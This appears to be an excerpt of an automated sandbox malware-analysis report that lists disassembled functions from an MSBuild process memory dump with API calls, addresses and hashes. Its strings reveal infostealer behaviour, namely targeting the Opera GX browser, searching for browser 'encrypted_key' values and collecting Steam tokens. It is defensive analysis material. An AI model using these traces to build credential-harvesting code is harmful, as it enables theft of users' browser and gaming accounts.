Part of subcall function 6CAC5B50: EnterCriticalSection.KERNEL32(6CB2F688,?,?,?,6CAC56EE,?,00000001), ref: 6CAC5B90
Part of subcall function 6CAC5B50: LeaveCriticalSection.KERNEL32(6CB2F688,?,?,?,6CAC56EE,?,00000001), ref: 6CAC5BD8
Part of subcall function 6CAC5B50: GetTickCount64.KERNEL32 ref: 6CAC5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CAA30BE

Part of subcall function 6CAA30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CAA3127
Part of subcall function 6CAA30F0: __aulldiv.LIBCMT ref: 6CAA3140

Part of subcall function 6CADAB2A: __onexit.LIBCMT ref: 6CADAB30

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 4c60bf102d553a702dca3f901d1aef81b20c25251a5d7e019aa0020391b0ddd0
Instruction ID: 911daec799d6cf2b216b8c417d50dcf112736b0afe52ab21b7b425308f051183
Opcode Fuzzy Hash: 4c60bf102d553a702dca3f901d1aef81b20c25251a5d7e019aa0020391b0ddd0
Instruction Fuzzy Hash: AAF0F422E2079896CB11DF748941AFAB774EF6B214F511719E88563621FB24A5DCC382

Function 00410C85 Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction ID: 4a48e0897f6a5e53a67cc5d7e0c14adbc6ce47083a4b6c26751418be0e4428b5
Opcode Fuzzy Hash: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction Fuzzy Hash: 2DE08CB1200204BBD7449BD9AC8DF8A76BCDB84715F100226F605D6250EAB4C9848B68

Function 0040C95C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 286COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

StrCmpCA.SHLWAPI(?,Opera GX,00436853,0043684B,?,?,?), ref: 0040C98F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Strings

Opera GX, xrefs: 0040C97F

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: 0fb41c61df57f504aaf5de9142bc873bfa384d999c6abac19d8a053c1ed93182
Instruction ID: 2f838092edd703084741f82f1e37e62fc4a331bb811b3281c0e98dae42c078f1
Opcode Fuzzy Hash: 0fb41c61df57f504aaf5de9142bc873bfa384d999c6abac19d8a053c1ed93182
Instruction Fuzzy Hash: 3FB1FD7294011DABCF10FFA6DE425CD7775AF04308F51013AF904771A1DBB8AE8A8B99

Function 00407B0B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,?,?,?,00407C56,?), ref: 00407B8A

Strings

, xrefs: 00407B5D

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction ID: 7cbd0eafb3405f1822ca0081af98c781be9845726f70e814ec0c9ffce599534c
Opcode Fuzzy Hash: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction Fuzzy Hash: 14119D71908509ABDB20DF94C684BAAB3F4FB00348F144466D641E32C0D33CBE85D75B

Function 004170C7 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

lstrlenA.KERNEL32(?), ref: 0041710E

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

Soft\Steam\steam_tokens.txt, xrefs: 0041711E

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 502913869-3507145866
Opcode ID: cc6fcce903024a9fea6a23bafcd441d12855246dee4bda35170fe48c24b99249
Instruction ID: 271d1becf7a3678e07a024325e19a0bcf1d7841c1b1dc1186d3e3fa3453cba64
Opcode Fuzzy Hash: cc6fcce903024a9fea6a23bafcd441d12855246dee4bda35170fe48c24b99249
Instruction Fuzzy Hash: BA017531E0010867CF00FBE6DD478CD7B74AF04358F504136FA0073152D778AA8A86D5

Function 00411E1F Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Strings

1iA, xrefs: 00411E47

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID: 1iA
API String ID: 3494564517-1863120733
Opcode ID: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction ID: dc66f3ebc75c526b8f29ca666c763a1a9938aadc44e5483d7dab6bcf02b3e8fe
Opcode Fuzzy Hash: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction Fuzzy Hash: 08E02B3AA41B201FC7724BAA8804AB7BB5A9FC2F61B18412BDF49CB324D535CC4182E4

Function 00409072 Relevance: 2.7, APIs: 2, Instructions: 163stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 00409209
lstrlenA.KERNEL32(?), ref: 00409224

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 718311eb3050d98c9a531c4c409263d505852a46ec7b88af86700a363608c163
Instruction ID: 7980a2431a17434d4a9fc19140cc267ce1297f5f23c66c0477910a4dd415bd4c
Opcode Fuzzy Hash: 718311eb3050d98c9a531c4c409263d505852a46ec7b88af86700a363608c163
Instruction Fuzzy Hash: 5A513D71A00119ABCF01FBA5EE468DD7775AF04309F50002AF500B71A2DBB8AE898B99

Function 004077F8 Relevance: 2.6, APIs: 2, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040,00000000,?,?,?,00407C18,?,?), ref: 0040784A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00407874

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction ID: 58502b0b00c881bab5b754626ee9ce4ad9b10c36d9ff74d45ae59ae86afa5875
Opcode Fuzzy Hash: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction Fuzzy Hash: C311B472A44705ABC724CFB8C989B9BB7F4EB40714F24483EE54AE7390E274B940C715

Function 0041CCCB Relevance: 2.5, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041CCDC

Part of subcall function 0041BC7F: lstrlenA.KERNEL32(?,0041CCED,0041CD8F,00000000,06400000,00000003,00000000,0041768F,.exe,00436C5C,00436C58,00436C54,00436C50,00436C4C,00436C48,00436C44), ref: 0041BCB1
Part of subcall function 0041BC7F: malloc.MSVCRT ref: 0041BCB9
Part of subcall function 0041BC7F: lstrcpyA.KERNEL32(00000000,?), ref: 0041BCC4

malloc.MSVCRT ref: 0041CD19

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc$lstrcpylstrlen
String ID:
API String ID: 2974738957-0
Opcode ID: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction ID: fcaced55c1c361c3e27715ea7ae3a17afdad1615e326a9d39dd71d0aa4f9bcfc
Opcode Fuzzy Hash: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction Fuzzy Hash: 6BF0F0721412166BDB206F6AEC8098BBB94EB457A0F150037FD0997351EA38CC4086F9

Function 004185BE Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd0dd478d9f607c979a352132b68459f789e2a2a0c4ffcb15ea7dc3a842640c
Instruction ID: c1de0727e8417f3a856ade1607230127397a68712c8c4452783f7dfbc6220367
Opcode Fuzzy Hash: 1cd0dd478d9f607c979a352132b68459f789e2a2a0c4ffcb15ea7dc3a842640c
Instruction Fuzzy Hash: D7514F71901240BFCA617BAE854DEF5B2D6AFA0328F14048FB404AA272DF6D8DD05D6D

Function 00407BD2 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction ID: 6bc4e95e4b4d41cd45bcf0090cf4f159da268bf51a5422b08fd3501f4d4963e9
Opcode Fuzzy Hash: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction Fuzzy Hash: 01319E71D0C2149FDF16DF55D8808AEBBB1EF84354B20816BE411B7391D738AE41DB9A

Function 00411DBC Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 352223032d3244ad9dc512ea0f38e2caed61f8f95f67dbfdd7722c11f9f2bd61
Instruction ID: 70aa0c5f5db09bd9b177b6aa788367f122bed66c5b4d8e76533133e42ab6cc8a
Opcode Fuzzy Hash: 352223032d3244ad9dc512ea0f38e2caed61f8f95f67dbfdd7722c11f9f2bd61
Instruction Fuzzy Hash: B3F03AB2E0015DABDB15DF78DC909EEB7FCEB48204F0045BAB909D3281EA349F458B94

Function 00411D92 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction ID: 4d5d301e7642eb8bcabe02fa2709f808051272e3482dadb5ff4d38445e53d8c5
Opcode Fuzzy Hash: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction Fuzzy Hash: 56D05E31A00138578B5097A9FC044DEBB49CB817B5B005263FA6D9A2F0C265AD9242D8

Function 00412541 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 00412577

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

